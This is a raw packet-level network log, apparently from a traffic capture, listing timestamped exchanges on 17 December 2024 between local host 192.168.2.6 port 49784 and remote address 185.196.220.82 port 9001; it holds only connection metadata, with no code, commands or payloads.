Dec 17, 2024 11:49:52.257278919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.257970095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.258009911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.258076906 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.258718014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.258729935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.258770943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.259572983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.259618044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.259720087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.259815931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.260677099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.260726929 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.260761976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.260878086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.261285067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.261341095 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.261357069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.311897039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.311966896 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.324074030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.324150085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.324227095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.324300051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.324450970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.324520111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.324527979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.324630022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.325237036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.325288057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.325350046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.326050997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.326107025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.326137066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.326201916 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.326848030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.326926947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.326987982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.327617884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.327640057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.327683926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.327708006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.328351974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.328402996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.328469992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.328542948 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.329150915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.329216003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.329266071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.329471111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.329929113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.329947948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.329986095 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.330032110 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.330708027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.330769062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.330821037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.330890894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.331517935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.331564903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.331633091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.332338095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.332402945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.332431078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.332489967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.333080053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.333188057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.333247900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.333852053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.333909988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.333933115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.334002018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.334661961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.334724903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.334794998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.334846020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.335670948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.335717916 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.335738897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.335789919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.336257935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.336431980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.336472034 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.337049007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.337120056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.337162018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.337325096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.337816954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.337869883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.337904930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.337938070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.338627100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.338677883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.338747025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.338879108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.339447021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.339500904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.339519024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.339551926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.340859890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.340915918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.340976954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.341249943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.341541052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.341552973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.341592073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.341609955 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.342133045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.342194080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.342273951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.342322111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.342906952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.342920065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.342957973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.343575001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.343628883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.343686104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.344130039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.344140053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.344180107 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.367583990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.367659092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.422611952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.431740046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.433279037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.433345079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.433399916 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.433465004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.433753014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.433796883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.433809996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.433865070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.434432983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.434444904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.434557915 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.435255051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.435266018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.435322046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.435985088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.436043978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.436065912 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.436089993 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.436752081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.436904907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.436961889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.437597036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.437671900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.437673092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.437798977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.438360929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.438435078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.438508034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.438627958 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.439145088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.439224005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.439299107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.439351082 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.439944029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.440006971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.440013885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.440076113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.440691948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.440779924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.440817118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.440890074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.441488028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.441586971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.441596031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.441625118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.442359924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.442370892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.442423105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.443070889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.443141937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.443175077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.443228006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.443875074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.443928003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.443986893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.444654942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.444753885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.444816113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.444915056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.445446968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.445540905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.445602894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.446223974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.446296930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.446305990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.446372986 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.447000027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.447060108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.447067976 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.447098970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.447828054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.447880983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.447973013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.448030949 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.448616028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.448695898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.448746920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.449450016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.449498892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.449511051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.449537992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.450206041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.450368881 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.450630903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.450994968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.451091051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.451100111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.451128960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.451733112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.451778889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.451796055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.451833963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.452478886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.452528954 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.452616930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.452662945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.453329086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.453375101 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.453408957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.515925884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.515995026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.516043901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.516104937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.516364098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.516453981 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.516571045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.517038107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.517141104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.517226934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.517281055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.517754078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.517803907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.517818928 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.517993927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.518558025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.518620014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.518657923 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.518786907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.519345045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.519422054 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.519424915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.519468069 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.520128965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.520199060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.520266056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.520266056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.520889997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.521001101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.521039963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.521039963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.521692991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.521747112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.521842003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.522483110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.522510052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.522551060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.522551060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.523240089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.523283958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.523298025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.523344040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.524135113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.524185896 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.524266005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.524333000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.524815083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.524919033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.524956942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.524956942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.525609016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.525675058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.525722027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.525826931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.526376009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.526426077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.526504993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.526552916 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.527203083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.527215958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.527292013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.527966976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.528017044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.528085947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.528134108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.528721094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.528774023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.528829098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.528878927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.529930115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.529969931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.530011892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.530011892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.531177044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.531421900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.531507015 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.531897068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.531944990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.531980991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.531980991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.532444954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.532526970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.532530069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.532594919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.533015013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.533116102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.533160925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.533360958 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.533566952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.533679962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.533835888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.534264088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.534394026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.534714937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.534780979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.535037041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.535087109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.535126925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.535126925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.535834074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.535877943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.535880089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.558896065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.558945894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.566720963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.614747047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.625406027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.625519991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.625582933 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.625582933 CET	49784	9001	192.168.2.6	185.196.220.82
